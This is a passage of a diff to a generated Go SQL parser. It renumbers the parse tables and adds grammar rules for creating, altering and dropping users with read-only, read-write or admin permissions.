132, 134, 133, 131, 132, 134, 133, 237, 178, 115, - 197, 231, 202, 201, 265, 200, 178, 180, 261, 137, - 175, 271, 256, 172, 148, 263, 58, 262, 126, 275, - 104, 135, 136, 270, 75, 279, 73, 281, 282, 283, - 277, 276, 38, 59, 131, 132, 134, 133, 56, 51, - 197, 103, 162, 10, 12, 11, 40, 41, 42, 306, - 215, 28, 297, 20, 287, 140, 298, 227, 169, 301, - 13, 286, 305, 303, 139, 128, 129, 7, 137, 8, - 9, 14, 15, 309, 124, 16, 17, 317, 316, 19, - 188, 20, 65, 20, 47, 322, 189, 187, 324, 190, - 74, 39, 46, 240, 327, 321, 330, 337, 338, 207, - 328, 333, 334, 331, 315, 300, 112, 19, 339, 19, - 314, 340, 278, 117, 36, 44, 326, 319, 48, 49, - 164, 310, 63, 238, 236, 35, 34, 23, 284, 150, - 151, 152, 149, 108, 235, 2, 24, 325, 37, 242, - 127, 76, 31, 77, 32, 208, 25, 27, 26, 50, - 106, 107, 33, 251, 158, 60, 61, 62, 45, 80, - 79, 54, 55, 21, 294, 113, 138, 285, 304, 320, - 332, 257, 299, 85, 84, 313, 247, 246, 244, 78, - 53, 64, 43, 68, 66, 90, 323, 153, 176, 18, - 5, 4, 3, 1, + 90, 353, 76, 218, 127, 256, 167, 285, 289, 105, + 173, 206, 164, 262, 284, 6, 119, 207, 239, 187, + 56, 122, 96, 20, 324, 176, 177, 178, 276, 216, + 275, 335, 249, 180, 328, 216, 216, 329, 325, 93, + 309, 319, 95, 307, 277, 89, 108, 104, 216, 19, + 175, 216, 310, 106, 107, 146, 250, 290, 109, 217, + 99, 100, 101, 102, 103, 77, 308, 144, 145, 75, + 94, 271, 270, 269, 291, 98, 306, 267, 248, 246, + 140, 141, 143, 142, 234, 233, 124, 204, 215, 93, + 139, 146, 95, 131, 150, 151, 108, 104, 286, 153, + 245, 155, 238, 106, 107, 155, 230, 229, 109, 228, + 99, 100, 101, 102, 103, 77, 140, 141, 143, 142, + 94, 169, 305, 189, 156, 98, 154, 152, 133, 130, + 118, 166, 117, 184, 22, 179, 352, 78, 170, 146, + 78, 192, 193, 194, 195, 196, 197, 77, 313, 181, + 183, 144, 145, 73, 247, 205, 208, 346, 312, 249, + 235, 216, 146, 131, 140, 141, 143, 142, 203, 209, + 120, 126, 146, 223, 144, 145, 146, 221, 210, 112, + 224, 88, 281, 272, 231, 145, 232, 140, 141, 143, + 142, 226, 129, 222, 236, 225, 202, 140, 141, 143, + 142, 244, 237, 143, 142, 30, 78, 61, 78, 165, + 171, 297, 31, 77, 128, 312, 283, 254, 123, 214, + 258, 213, 212, 211, 188, 260, 191, 190, 185, 182, + 266, 157, 134, 252, 188, 111, 81, 79, 41, 65, + 64, 110, 63, 60, 55, 54, 208, 172, 265, 227, + 282, 278, 43, 44, 45, 273, 149, 20, 288, 323, + 304, 279, 243, 280, 62, 148, 292, 303, 137, 138, + 287, 322, 296, 146, 298, 299, 300, 294, 293, 132, + 50, 29, 20, 19, 10, 12, 11, 208, 199, 71, + 200, 80, 42, 201, 338, 198, 354, 355, 314, 257, + 219, 345, 332, 49, 315, 179, 318, 13, 19, 317, + 320, 120, 331, 295, 7, 125, 8, 9, 14, 15, + 326, 39, 16, 17, 334, 333, 47, 336, 20, 51, + 52, 343, 339, 327, 69, 341, 255, 253, 38, 37, + 23, 344, 301, 347, 159, 160, 161, 174, 350, 351, + 348, 158, 251, 93, 19, 356, 95, 83, 357, 115, + 108, 104, 342, 259, 135, 40, 82, 106, 107, 220, + 53, 2, 109, 34, 99, 100, 101, 102, 103, 77, + 24, 28, 113, 114, 94, 66, 67, 68, 32, 98, + 33, 36, 268, 116, 48, 84, 25, 27, 26, 87, + 86, 58, 59, 240, 241, 242, 35, 162, 136, 168, + 21, 311, 121, 147, 302, 321, 337, 349, 274, 316, + 92, 91, 330, 264, 263, 261, 85, 57, 70, 46, + 74, 72, 97, 340, 163, 186, 18, 5, 4, 3, + 1, } var yyPact = [...]int16{ - 269, -1000, -1000, -18, -1000, -1000, -1000, 328, -1000, -1000, - 359, 204, 355, 365, 322, 321, 300, 185, 265, 207, - 302, -1000, 269, -1000, 254, 254, 254, 360, -1000, 192, - 381, 191, 169, 186, 185, 185, 185, 314, -1000, 255, - -1000, -1000, -1000, 81, -1000, -1000, 179, 262, 177, 351, - 254, -1000, -1000, 377, 35, 35, -1000, 173, 80, 358, - 29, 27, 289, 152, 241, -1000, 299, -1000, 77, 140, - -1000, 26, 64, -1000, 243, 17, 171, 350, -1000, 35, - 35, -1000, 120, 63, 227, -1000, 120, 120, 16, -1000, - -1000, 120, -1000, -1000, -1000, -1000, -1000, 12, -1000, -1000, - -1000, -1000, 0, -1000, 5, 167, 337, 335, 336, 128, - 128, 378, 120, 101, -1000, 196, -1000, -44, 95, -1000, - -1000, 166, 54, 163, -1000, 159, 4, 160, -1000, -1000, - 63, 120, 120, 120, 120, 120, 120, 252, 257, 109, - -1000, 131, 65, 241, 14, 120, 120, 128, -1000, 159, - 158, 156, 155, -16, 75, -1000, -51, 279, 356, 63, - 378, 152, 120, 378, 381, 271, 3, 1, -3, 140, - -9, 140, -1000, -17, -19, -1000, 73, -1000, 102, 128, - -10, 65, 65, 235, 235, 131, 135, -1000, 222, 120, - -13, -1000, -22, -1000, 176, -23, 70, 63, -52, -1000, - -1000, 340, -1000, 319, 150, 318, 272, 120, 349, 279, - -1000, 63, 67, 140, -24, 368, -25, -28, -29, -1000, - -1000, -1000, -1000, 151, -66, -53, 128, -1000, 131, -20, - -1000, 97, -1000, 120, -1000, 139, -14, -1000, -14, -1000, - 120, 63, -26, 272, 289, -1000, 67, 297, -1000, -1000, - 140, 129, 140, 140, 140, 331, -1000, 226, 94, 90, - -1000, -56, -37, -58, -39, 63, -1000, 123, -1000, 120, - 62, 63, -1000, -1000, 128, -1000, 287, -1000, -44, -1000, - -40, -1000, -1000, -1000, -26, 228, -1000, 214, -74, -41, - -1000, -1000, -1000, -1000, -1000, -14, 312, -48, -63, 294, - 285, 378, 140, -55, -1000, -1000, -1000, -1000, -1000, -1000, - 307, -1000, -1000, 273, 120, 119, 347, -1000, -1000, 305, - 279, 281, 63, 58, -1000, 120, -1000, 272, 119, 119, - 63, -1000, 55, 274, -1000, 119, -1000, -1000, -1000, 274, - -1000, + 280, -1000, -1000, 35, -1000, -1000, -1000, 305, -1000, -1000, + 373, 198, 365, 383, 299, 298, 271, 155, 230, 177, + 277, -1000, 280, -1000, 214, 214, 214, 345, 162, -1000, + 161, 385, 160, 181, 159, 157, 156, 155, 155, 155, + 290, -1000, 226, -1000, -1000, -1000, 57, -1000, -1000, 154, + 227, 153, 340, 214, 386, -1000, -1000, 381, 25, 25, + -1000, 152, 87, -1000, 354, 384, 32, 30, 258, 135, + 209, -1000, 265, -1000, 78, 131, -1000, 29, 71, -1000, + 212, 28, 149, 338, 398, -1000, 25, 25, -1000, 289, + 70, 192, -1000, 289, 289, 27, -1000, -1000, 289, -1000, + -1000, -1000, -1000, -1000, 26, -1000, -1000, -1000, -1000, 1, + -1000, 24, 148, 320, 314, 315, 397, 126, 126, 403, + 289, 117, -1000, 165, -1000, -50, 123, -1000, -1000, 146, + 54, 145, -1000, 141, 23, 144, 143, -1000, -1000, 70, + 289, 289, 289, 289, 289, 289, 224, 225, 112, -1000, + 103, 107, 209, -14, 289, 289, 126, -1000, 141, 140, + 139, 138, 136, -13, 68, -1000, -42, 244, 344, 70, + 403, 135, 289, 403, 385, 234, 9, 7, 6, 131, + 5, 131, -1000, -16, -17, -1000, 67, -1000, 110, 126, + 2, 392, 107, 107, 204, 204, 103, 22, -1000, 191, + 289, 0, -1000, -22, -1000, 93, -23, 66, 70, -45, + -1000, -1000, 322, -1000, 392, 296, 134, 295, 242, 289, + 337, 244, -1000, 70, 168, 131, -24, 371, -28, -29, + -30, -1000, -1000, -1000, -1000, 151, -72, -57, 126, -1000, + -1000, -1000, -1000, -1000, 103, -25, -1000, 98, -1000, 289, + -1000, 133, -1000, -2, -1000, -2, -1000, 289, 70, -26, + 242, 258, -1000, 168, 262, -1000, -1000, 131, 128, 131, + 131, 131, 309, -1000, 196, 37, -9, -1000, -58, -35, + -61, -49, 70, -1000, 122, -1000, 289, 65, 70, -1000, + -1000, 126, -1000, 255, -1000, -50, -1000, -60, -1000, -1000, + -1000, -26, 201, -1000, 188, -79, -63, -1000, -1000, -1000, + -1000, -1000, -2, 288, -67, -64, 260, 247, 403, 131, + -70, -1000, -1000, -1000, -1000, -1000, -1000, 281, -1000, -1000, + 236, 289, 125, 336, -1000, -1000, 284, 244, 246, 70, + 64, -1000, 289, -1000, 242, 125, 125, 70, -1000, 43, + 237, -1000, 125, -1000, -1000, -1000, 237, -1000, } var yyPgo = [...]int16{ - 0, 423, 365, 422, 421, 420, 17, 419, 418, 18, - 11, 8, 417, 416, 14, 7, 15, 12, 415, 9, - 21, 414, 413, 2, 412, 411, 10, 350, 19, 410, - 409, 215, 408, 13, 407, 406, 0, 16, 405, 404, - 403, 402, 3, 5, 401, 4, 400, 399, 1, 6, - 322, 398, 397, 396, 20, 395, 394, 393, + 0, 440, 371, 439, 438, 437, 15, 436, 435, 19, + 12, 8, 434, 433, 14, 7, 17, 11, 432, 9, + 22, 431, 430, 2, 429, 428, 10, 347, 20, 427, + 426, 181, 425, 13, 424, 423, 0, 16, 422, 421, + 420, 419, 3, 5, 418, 4, 417, 416, 1, 6, + 303, 415, 414, 413, 21, 412, 411, 18, 410, } var yyR1 = [...]int8{ - 0, 1, 2, 2, 57, 57, 3, 3, 3, 4, + 0, 1, 2, 2, 58, 58, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, - 4, 4, 4, 4, 4, 4, 4, 50, 50, 11, - 11, 5, 5, 5, 5, 56, 56, 55, 55, 54, - 12, 12, 14, 14, 15, 10, 10, 13, 13, 17, - 17, 16, 16, 18, 18, 18, 18, 18, 18, 18, - 18, 18, 18, 19, 8, 8, 9, 44, 44, 44, - 51, 51, 52, 52, 52, 6, 6, 6, 6, 6, - 7, 25, 25, 24, 24, 21, 21, 22, 22, 20, - 20, 20, 23, 23, 26, 26, 26, 26, 26, 26, - 26, 27, 28, 29, 29, 29, 30, 30, 30, 31, - 31, 32, 32, 33, 33, 34, 35, 35, 37, 37, - 41, 41, 38, 38, 42, 42, 43, 43, 47, 47, - 49, 49, 46, 46, 48, 48, 48, 45, 45, 45, - 36, 36, 36, 36, 36, 36, 36, 36, 39, 39, - 39, 39, 53, 53, 40, 40, 40, 40, 40, 40, - 40, 40, + 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, + 57, 57, 57, 57, 50, 50, 11, 11, 5, 5, + 5, 5, 56, 56, 55, 55, 54, 12, 12, 14, + 14, 15, 10, 10, 13, 13, 17, 17, 16, 16, + 18, 18, 18, 18, 18, 18, 18, 18, 18, 18, + 19, 8, 8, 9, 44, 44, 44, 51, 51, 52, + 52, 52, 6, 6, 6, 6, 6, 7, 25, 25, + 24, 24, 21, 21, 22, 22, 20, 20, 20, 23, + 23, 26, 26, 26, 26, 26, 26, 26, 27, 28, + 29, 29, 29, 30, 30, 30, 31, 31, 32, 32, + 33, 33, 34, 35, 35, 37, 37, 41, 41, 38, + 38, 42, 42, 43, 43, 47, 47, 49, 49, 46, + 46, 48, 48, 48, 45, 45, 45, 36, 36, 36, + 36, 36, 36, 36, 36, 39, 39, 39, 39, 53, + 53, 40, 40, 40, 40, 40, 40, 40, 40, } var yyR2 = [...]int8{ 0, 1, 2, 3, 0, 1, 1, 1, 1, 2, 1, 1, 1, 4, 2, 3, 3, 11, 3, 8, - 9, 7, 5, 6, 6, 8, 6, 0, 3, 1, - 3, 9, 8, 7, 8, 0, 4, 1, 3, 3, - 0, 1, 1, 3, 3, 1, 3, 1, 3, 0, - 1, 1, 3, 1, 1, 1, 1, 1, 6, 1, - 1, 1, 1, 4, 1, 3, 5, 0, 3, 3, - 0, 1, 0, 1, 2, 1, 4, 2, 2, 2, - 13, 0, 1, 0, 1, 1, 1, 2, 4, 1, - 4, 4, 1, 3, 3, 4, 4, 4, 4, 2, - 6, 1, 2, 0, 2, 2, 0, 2, 2, 2, - 1, 0, 1, 1, 2, 6, 0, 1, 0, 2, - 0, 3, 0, 2, 0, 2, 0, 2, 0, 3, - 0, 4, 2, 4, 0, 1, 1, 0, 1, 2, - 1, 1, 2, 2, 4, 4, 6, 6, 1, 1, - 3, 3, 0, 1, 3, 3, 3, 3, 3, 3, - 3, 4, + 9, 7, 5, 6, 6, 8, 6, 7, 7, 3, + 0, 1, 1, 1, 0, 3, 1, 3, 9, 8, + 7, 8, 0, 4, 1, 3, 3, 0, 1, 1, + 3, 3, 1, 3, 1, 3, 0, 1, 1, 3, + 1, 1, 1, 1, 1, 6, 1, 1, 1, 1, + 4, 1, 3, 5, 0, 3, 3, 0, 1, 0, + 1, 2, 1, 4, 2, 2, 2, 13, 0, 1, + 0, 1, 1, 1, 2, 4, 1, 4, 4, 1, + 3, 3, 4, 4, 4, 4, 2, 6, 1, 2, + 0, 2, 2, 0, 2, 2, 2, 1, 0, 1, + 1, 2, 6, 0, 1, 0, 2, 0, 3, 0, + 2, 0, 2, 0, 2, 0, 3, 0, 4, 2, + 4, 0, 1, 1, 0, 1, 2, 1, 1, 2, + 2, 4, 4, 6, 6, 1, 1, 3, 3, 0, + 1, 3, 3, 3, 3, 3, 3, 3, 4, } var yyChk = [...]int16{ - -1000, -1, -2, -3, -4, -5, -6, 28, 30, 31, - 4, 6, 5, 21, 32, 33, 36, 37, -7, 68, - 42, -57, 93, 29, 7, 17, 19, 18, 77, 7, - 8, 17, 19, 17, 34, 34, 44, -27, 77, 56, - 69, 70, 71, -24, 43, -2, -50, 60, -50, -50, - 19, 77, -28, -29, 10, 11, 77, 20, 77, 77, - -27, -27, -27, 38, -25, 57, -21, 90, -22, -20, - -23, 84, 77, 77, 58, 77, 20, -50, -30, 13, - 12, -31, 14, -36, -39, -40, 58, 89, 61, -20, - -18, 94, 79, 80, 81, 82, 83, 66, -19, 72, - 73, 65, 77, -31, 77, 86, 22, 23, 5, 94, - 94, -37, 47, -55, -54, 77, -6, 44, 87, -45, - 77, 55, 94, 86, 61, 94, 77, 20, -31, -31, - -36, 88, 89, 91, 90, 75, 76, 63, -53, 67, - 58, -36, -36, 94, -36, 94, 94, 94, 77, 25, - 24, 25, 25, -12, -10, 77, -10, -49, 6, -36, - -37, 87, 76, -26, -27, 94, 69, 70, 71, -19, - 77, -20, 77, 90, -23, 77, -8, -9, 77, 94, - 77, -36, -36, -36, -36, -36, -36, 65, 58, 59, - 62, 78, -6, 95, -36, -17, -16, -36, -10, -9, - 77, 77, 77, 95, 87, 95, -42, 50, 19, -49, - -54, -36, -49, -28, -6, 9, 94, 94, 94, -45, - -45, 95, 95, 87, 78, -10, 94, 65, -36, 94, - 95, 55, 95, 87, 95, 24, 35, 77, 35, -43, - 51, -36, 20, -42, -32, -33, -34, -35, 74, -45, - 95, 15, 95, 95, 95, 26, -9, -44, 96, 94, - 95, -10, -6, -16, 78, -36, 77, -14, -15, 94, - -14, -36, -11, 77, 94, -43, -37, -33, 45, -45, - 77, -45, -45, -45, 27, -52, 65, 58, 79, 79, - 95, 95, 95, 95, -56, 87, 20, -17, -10, -41, - 48, -26, 95, -11, -51, 64, 65, 97, 95, -15, - 39, 95, 95, -38, 46, 49, -49, -45, 95, 40, - -47, 52, -36, -13, -23, 20, 41, -42, 49, 87, - -36, -43, -46, -23, -23, 87, -48, 53, 54, -23, - -48, + -1000, -1, -2, -3, -4, -5, -6, 34, 36, 37, + 4, 6, 5, 27, 38, 39, 42, 43, -7, 74, + 48, -58, 99, 35, 7, 23, 25, 24, 8, 83, + 7, 14, 23, 25, 8, 23, 8, 40, 40, 50, + -27, 83, 62, 75, 76, 77, -24, 49, -2, -50, + 66, -50, -50, 25, 83, 83, -28, -29, 16, 17, + 83, 26, 83, 83, 83, 83, -27, -27, -27, 44, + -25, 63, -21, 96, -22, -20, -23, 90, 83, 83, + 64, 83, 26, -50, 9, -30, 19, 18, -31, 20, + -36, -39, -40, 64, 95, 67, -20, -18, 100, 85, + 86, 87, 88, 89, 72, -19, 78, 79, 71, 83, + -31, 83, 92, 28, 29, 5, 9, 100, 100, -37, + 53, -55, -54, 83, -6, 50, 93, -45, 83, 61, + 100, 92, 67, 100, 83, 26, 10, -31, -31, -36, + 94, 95, 97, 96, 81, 82, 69, -53, 73, 64, + -36, -36, 100, -36, 100, 100, 100, 83, 31, 30, + 31, 31, 10, -12, -10, 83, -10, -49, 6, -36, + -37, 93, 82, -26, -27, 100, 75, 76, 77, -19, + 83, -20, 83, 96, -23, 83, -8, -9, 83, 100, + 83, 83, -36, -36, -36, -36, -36, -36, 71, 64, + 65, 68, 84, -6, 101, -36, -17, -16, -36, -10, + -9, 83, 83, 83, 83, 101, 93, 101, -42, 56, + 25, -49, -54, -36, -49, -28, -6, 15, 100, 100, + 100, -45, -45, 101, 101, 93, 84, -10, 100, -57, + 11, 12, 13, 71, -36, 100, 101, 61, 101, 93, + 101, 30, -57, 41, 83, 41, -43, 57, -36, 26, + -42, -32, -33, -34, -35, 80, -45, 101, 21, 101, + 101, 101, 32, -9, -44, 102, 100, 101, -10, -6, + -16, 84, -36, 83, -14, -15, 100, -14, -36, -11, + 83, 100, -43, -37, -33, 51, -45, 83, -45, -45, + -45, 33, -52, 71, 64, 85, 85, 101, 101, 101, + 101, -56, 93, 26, -17, -10, -41, 54, -26, 101, + -11, -51, 70, 71, 103, 101, -15, 45, 101, 101, + -38, 52, 55, -49, -45, 101, 46, -47, 58, -36, + -13, -23, 26, 47, -42, 55, 93, -36, -43, -46, + -23, -23, 93, -48, 59, 60, -23, -48, } var yyDef = [...]int16{ 0, -2, 1, 4, 6, 7, 8, 10, 11, 12, - 0, 0, 0, 0, 0, 0, 0, 0, 75, 0, - 83, 2, 5, 9, 27, 27, 27, 0, 14, 0, - 103, 0, 0, 0, 0, 0, 0, 0, 101, 81, - 77, 78, 79, 0, 84, 3, 0, 0, 0, 0, - 27, 15, 16, 106, 0, 0, 18, 0, 0, 0, - 0, 0, 118, 0, 0, 82, 0, 85, 86, 137, - 89, 0, 92, 13, 0, 0, 0, 0, 102, 0, - 0, 104, 0, 110, -2, 141, 0, 0, 0, 148, - 149, 0, 53, 54, 55, 56, 57, 0, 59, 60, - 61, 62, 92, 105, 0, 0, 0, 0, 0, 40, - 0, 130, 0, 118, 37, 0, 76, 0, 0, 87, - 138, 0, 0, 0, 28, 0, 0, 0, 107, 108, - 109, 0, 0, 0, 0, 0, 0, 0, 0, 0, - 153, 142, 143, 0, 0, 0, 49, 0, 22, 0, - 0, 0, 0, 0, 41, 45, 0, 124, 0, 119, - 130, 0, 0, 130, 103, 0, 0, 0, 0, 137, - 101, 137, 139, 0, 0, 93, 0, 64, 0, 0, - 0, 154, 155, 156, 157, 158, 159, 160, 0, 0, - 0, 151, 0, 150, 0, 0, 50, 51, 0, 23, - 24, 0, 26, 0, 0, 0, 126, 0, 0, 124, - 38, 39, -2, 137, 0, 0, 0, 0, 0, 99, - 88, 90, 91, 0, 67, 0, 0, 161, 144, 0, - 145, 0, 63, 0, 21, 0, 0, 46, 0, 33, - 0, 125, 0, 126, 118, 112, -2, 0, 117, 94, - 137, 0, 137, 137, 137, 0, 65, 72, 0, 0, - 19, 0, 0, 0, 0, 52, 25, 35, 42, 49, - 32, 127, 131, 29, 0, 34, 120, 114, 0, 95, - 0, 96, 97, 98, 0, 70, 73, 0, 0, 0, - 20, 146, 147, 58, 31, 0, 0, 0, 0, 122, - 0, 130, 137, 0, 66, 71, 74, 68, 69, 43, - 0, 44, 30, 128, 0, 0, 0, 100, 17, 0, - 124, 0, 123, 121, 47, 0, 36, 126, 0, 0, - 115, 80, 129, 134, 48, 0, 132, 135, 136, 134, - 133, + 0, 0, 0, 0, 0, 0, 0, 0, 82, 0, + 90, 2, 5, 9, 34, 34, 34, 0, 0, 14, + 0, 110, 0, 0, 0, 0, 0, 0, 0, 0, + 0, 108, 88, 84, 85, 86, 0, 91, 3, 0, + 0, 0, 0, 34, 0, 15, 16, 113, 0, 0, + 18, 0, 0, 29, 0, 0, 0, 0, 125, 0, + 0, 89, 0, 92, 93, 144, 96, 0, 99, 13, + 0, 0, 0, 0, 0, 109, 0, 0, 111, 0, + 117, -2, 148, 0, 0, 0, 155, 156, 0, 60, + 61, 62, 63, 64, 0, 66, 67, 68, 69, 99, + 112, 0, 0, 0, 0, 0, 0, 47, 0, 137, + 0, 125, 44, 0, 83, 0, 0, 94, 145, 0, + 0, 0, 35, 0, 0, 0, 0, 114, 115, 116, + 0, 0, 0, 0, 0, 0, 0, 0, 0, 160, + 149, 150, 0, 0, 0, 56, 0, 22, 0, 0, + 0, 0, 0, 0, 48, 52, 0, 131, 0, 126, + 137, 0, 0, 137, 110, 0, 0, 0, 0, 144, + 108, 144, 146, 0, 0, 100, 0, 71, 0, 0, + 0, 30, 161, 162, 163, 164, 165, 166, 167, 0, + 0, 0, 158, 0, 157, 0, 0, 57, 58, 0, + 23, 24, 0, 26, 30, 0, 0, 0, 133, 0, + 0, 131, 45, 46, -2, 144, 0, 0, 0, 0, + 0, 106, 95, 97, 98, 0, 74, 0, 0, 27, + 31, 32, 33, 168, 151, 0, 152, 0, 70, 0, + 21, 0, 28, 0, 53, 0, 40, 0, 132, 0, + 133, 125, 119, -2, 0, 124, 101, 144, 0, 144, + 144, 144, 0, 72, 79, 0, 0, 19, 0, 0, + 0, 0, 59, 25, 42, 49, 56, 39, 134, 138, + 36, 0, 41, 127, 121, 0, 102, 0, 103, 104, + 105, 0, 77, 80, 0, 0, 0, 20, 153, 154, + 65, 38, 0, 0, 0, 0, 129, 0, 137, 144, + 0, 73, 78, 81, 75, 76, 50, 0, 51, 37, + 135, 0, 0, 0, 107, 17, 0, 131, 0, 130, + 128, 54, 0, 43, 133, 0, 0, 122, 87, 136, + 141, 55, 0, 139, 142, 143, 141, 140, } var yyTok1 = [...]int8{ @@ -480,12 +498,12 @@ var yyTok1 = [...]int8{ 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, - 94, 95, 90, 88, 87, 89, 92, 91, 3, 3, + 100, 101, 96, 94, 93, 95, 98, 97, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, - 3, 96, 3, 97, + 3, 102, 3, 103, } var yyTok2 = [...]int8{ @@ -497,7 +515,8 @@ var yyTok2 = [...]int8{ 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, - 82, 83, 84, 85, 86, 93, + 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, + 92, 99, } var yyTok3 = [...]int8{ @@ -950,251 +969,286 @@ yydefault: yyVAL.stmt = &DropColumnStmt{table: yyDollar[3].id, colName: yyDollar[6].id} } case 27: + yyDollar = yyS[yypt-7 : yypt+1] + { + yyVAL.stmt = &CreateUserStmt{username: yyDollar[3].id, password: yyDollar[6].id, permission: yyDollar[7].permission} + } + case 28: + yyDollar = yyS[yypt-7 : yypt+1] + { + yyVAL.stmt = &AlterUserStmt{username: yyDollar[3].id, password: yyDollar[6].id, permission: yyDollar[7].permission} + } + case 29: + yyDollar = yyS[yypt-3 : yypt+1] + { + yyVAL.stmt = &DropUserStmt{username: yyDollar[3].id} + } + case 30: + yyDollar = yyS[yypt-0 : yypt+1] + { + yyVAL.permission = PermissionReadWrite + } + case 31: + yyDollar = yyS[yypt-1 : yypt+1] + { + yyVAL.permission = PermissionReadOnly + } + case 32: + yyDollar = yyS[yypt-1 : yypt+1] + { + yyVAL.permission = PermissionReadWrite + } + case 33: + yyDollar = yyS[yypt-1 : yypt+1] + { + yyVAL.permission = PermissionAdmin + } + case 34: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.boolean = false } - case 28: + case 35: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.boolean = true } - case 29: + case 36: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.ids = []string{yyDollar[1].id} } - case 30: + case 37: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.ids = yyDollar[2].ids } - case 31: + case 38: yyDollar = yyS[yypt-9 : yypt+1] { yyVAL.stmt = &UpsertIntoStmt{isInsert: true, tableRef: yyDollar[3].tableRef, cols: yyDollar[5].ids, rows: yyDollar[8].rows, onConflict: yyDollar[9].onConflict} } - case 32: + case 39: yyDollar = yyS[yypt-8 : yypt+1] { yyVAL.stmt = &UpsertIntoStmt{tableRef: yyDollar[3].tableRef, cols: yyDollar[5].ids, rows: yyDollar[8].rows} } - case 33: + case 40: yyDollar = yyS[yypt-7 : yypt+1] { yyVAL.stmt = &DeleteFromStmt{tableRef: yyDollar[3].tableRef, where: yyDollar[4].exp, indexOn: yyDollar[5].ids, limit: yyDollar[6].exp, offset: yyDollar[7].exp} } - case 34: + case 41: yyDollar = yyS[yypt-8 : yypt+1] { yyVAL.stmt = &UpdateStmt{tableRef: yyDollar[2].tableRef, updates: yyDollar[4].updates, where: yyDollar[5].exp, indexOn: yyDollar[6].ids, limit: yyDollar[7].exp, offset: yyDollar[8].exp} } - case 35: + case 42: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.onConflict = nil } - case 36: + case 43: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.onConflict = &OnConflictDo{} } - case 37: + case 44: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.updates = []*colUpdate{yyDollar[1].update} } - case 38: + case 45: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.updates = append(yyDollar[1].updates, yyDollar[3].update) } - case 39: + case 46: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.update = &colUpdate{col: yyDollar[1].id, op: yyDollar[2].cmpOp, val: yyDollar[3].exp} } - case 40: + case 47: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.ids = nil } - case 41: + case 48: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.ids = yyDollar[1].ids } - case 42: + case 49: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.rows = []*RowSpec{yyDollar[1].row} } - case 43: + case 50: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.rows = append(yyDollar[1].rows, yyDollar[3].row) } - case 44: + case 51: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.row = &RowSpec{Values: yyDollar[2].values} } - case 45: + case 52: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.ids = []string{yyDollar[1].id} } - case 46: + case 53: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.ids = append(yyDollar[1].ids, yyDollar[3].id) } - case 47: + case 54: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.cols = []*ColSelector{yyDollar[1].col} } - case 48: + case 55: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.cols = append(yyDollar[1].cols, yyDollar[3].col) } - case 49: + case 56: yyDollar = yyS[yypt-0 : yypt+1] { yyVAL.values = nil } - case 50: + case 57: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.values = yyDollar[1].values } - case 51: + case 58: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.values = []ValueExp{yyDollar[1].exp} } - case 52: + case 59: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.values = append(yyDollar[1].values, yyDollar[3].exp) } - case 53: + case 60: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Integer{val: int64(yyDollar[1].integer)} } - case 54: + case 61: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Float64{val: float64(yyDollar[1].float)} } - case 55: + case 62: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Varchar{val: yyDollar[1].str} } - case 56: + case 63: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Bool{val: yyDollar[1].boolean} } - case 57: + case 64: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Blob{val: yyDollar[1].blob} } - case 58: + case 65: yyDollar = yyS[yypt-6 : yypt+1] { yyVAL.value = &Cast{val: yyDollar[3].exp, t: yyDollar[5].sqlType} } - case 59: + case 66: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = yyDollar[1].value } - case 60: + case 67: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Param{id: yyDollar[1].id} } - case 61: + case 68: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &Param{id: fmt.Sprintf("param%d", yyDollar[1].pparam), pos: yyDollar[1].pparam} } - case 62: + case 69: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.value = &NullValue{t: AnyType} } - case 63: + case 70: yyDollar = yyS[yypt-4 : yypt+1] { yyVAL.value = &FnCall{fn: yyDollar[1].id, params: yyDollar[3].values} } - case 64: + case 71: yyDollar = yyS[yypt-1 : yypt+1] { yyVAL.colsSpec = []*ColSpec{yyDollar[1].colSpec} } - case 65: + case 72: yyDollar = yyS[yypt-3 : yypt+1] { yyVAL.colsSpec = append(yyDollar[1].colsSpec, yyDollar[3].colSpec) } - case 66: + case 73: yyDollar = yyS[yypt-5 : yypt+1] { yyVAL.colSpec = &ColSpec{colName: yyDollar[1].id, colType: yyDollar[2].sqlType, maxLen: int(yyDollar[3].integer), notNull: yyDollar[4].boolean, autoIncrement: yyDollar[5].boolean} } - case 67: + case 74: yyDollar = yyS[yypt-0 